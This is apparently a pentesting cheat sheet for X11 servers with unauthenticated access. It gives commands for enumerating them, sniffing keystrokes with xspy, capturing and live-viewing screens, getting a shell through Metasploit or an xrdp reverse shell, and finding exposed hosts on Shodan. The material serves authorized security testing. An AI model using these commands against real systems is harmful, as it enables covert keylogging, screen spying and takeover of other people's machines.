# 6000 - Pentesting X11 ## Basic Information The X Window System (aka X) is a windowing system for bitmap displays, which is common on UNIX-based operating systems. X provides the basic framework for a GUI based environment. X also does not mandate the user interface – individual programs handle this.\ From: [https://resources.infosecinstitute.com/exploiting-x11-unauthenticated-access/#gref](https://resources.infosecinstitute.com/exploiting-x11-unauthenticated-access/#gref) **Default port:** 6000 ``` PORT STATE SERVICE 6000/tcp open X11 ``` ## Enumeration Check for **anonymous connection:** ```bash nmap -sV --script x11-access -p msf> use auxiliary/scanner/x11/open_x11 ``` ## Verfy Connection ```bash xdpyinfo -display : xwininfo -root -tree -display : #Ex: xwininfo -root -tree -display 10.5.5.12:0 ``` ## Keyloggin [xspy](http://tools.kali.org/sniffingspoofing/xspy) to sniff the keyboard keystrokes. Sample Output: ``` xspy 10.9.xx.xx opened 10.9.xx.xx:0 for snoopng swaBackSpaceCaps_Lock josephtTabcBackSpaceShift_L workShift_L 2123 qsaminusKP_Down KP_Begin KP_Down KP_Left KP_Insert TabRightLeftRightDeletebTabDownnTabKP_End KP_Right KP_Up KP_Down KP_Up KP_Up TabmtminusdBackSpacewinTab ``` ## Screenshots capturing ```bash xwd -root -screen -silent -display > screenshot.xwd convert screenshot.xwd screenshot.png ``` ## Remote Desktop View Way from: [https://resources.infosecinstitute.com/exploiting-x11-unauthenticated-access/#gref](https://resources.infosecinstitute.com/exploiting-x11-unauthenticated-access/#gref) ``` ./xrdp.py ``` Way from: [https://bitvijays.github.io/LFF-IPS-P2-VulnerabilityAnalysis.html](https://bitvijays.github.io/LFF-IPS-P2-VulnerabilityAnalysis.html) First we need to find the ID of the window using xwininfo ``` xwininfo -root -display 10.9.xx.xx:0 xwininfo: Window id: 0x45 (the root window) (has no name) Absolute upper-left X: 0 Absolute upper-left Y: 0 Relative upper-left X: 0 Relative upper-left Y: 0 Width: 1024 Height: 768 Depth: 16 Visual: 0x21 Visual Class: TrueColor Border width: 0 Class: InputOutput Colormap: 0x20 (installed) Bit Gravity State: ForgetGravity Window Gravity State: NorthWestGravity Backing Store State: NotUseful Save Under State: no Map State: IsViewable Override Redirect State: no Corners: +0+0 -0+0 -0-0 +0-0 -geometry 1024x768+0+0 ``` **XWatchwin** For **live viewing** we need to use ```bash ./xwatchwin [-v] [-u UpdateTime] DisplayName { -w windowID | WindowName } -w window Id is the one found on xwininfo ./xwatchwin 10.9.xx.xx:0 -w 0x45 ``` ## Get Shell ``` msf> use exploit/unix/x11/x11_keyboard_exec ``` Other way: **Reverse Shell:** Xrdp also allows to take reverse shell via Netcat. Type in the following command: **./xrdp.py \ –no-disp** ![](../.gitbook/assets/112217\_0051\_ExploitingX15.jpeg) It will prompt a new control pane where we can see the R-shell option, which is illustrated below: ![](../.gitbook/assets/112217\_0051\_ExploitingX16.jpeg) We will start the Netcat listening mode in our local system on port 5555, which is illustrated below: ![](../.gitbook/assets/112217\_0051\_ExploitingX17.jpeg) Then add the IP and port and then select R-Shell, which is illustrated below: ![](../.gitbook/assets/112217\_0051\_ExploitingX18.jpeg) Now as can be seen below we have complete system access: ![](../.gitbook/assets/112217\_0051\_ExploitingX19.jpeg) {% embed url="https://resources.infosecinstitute.com/exploiting-x11-unauthenticated-access/#gref" %} ## Shodan * `port:6000 x11`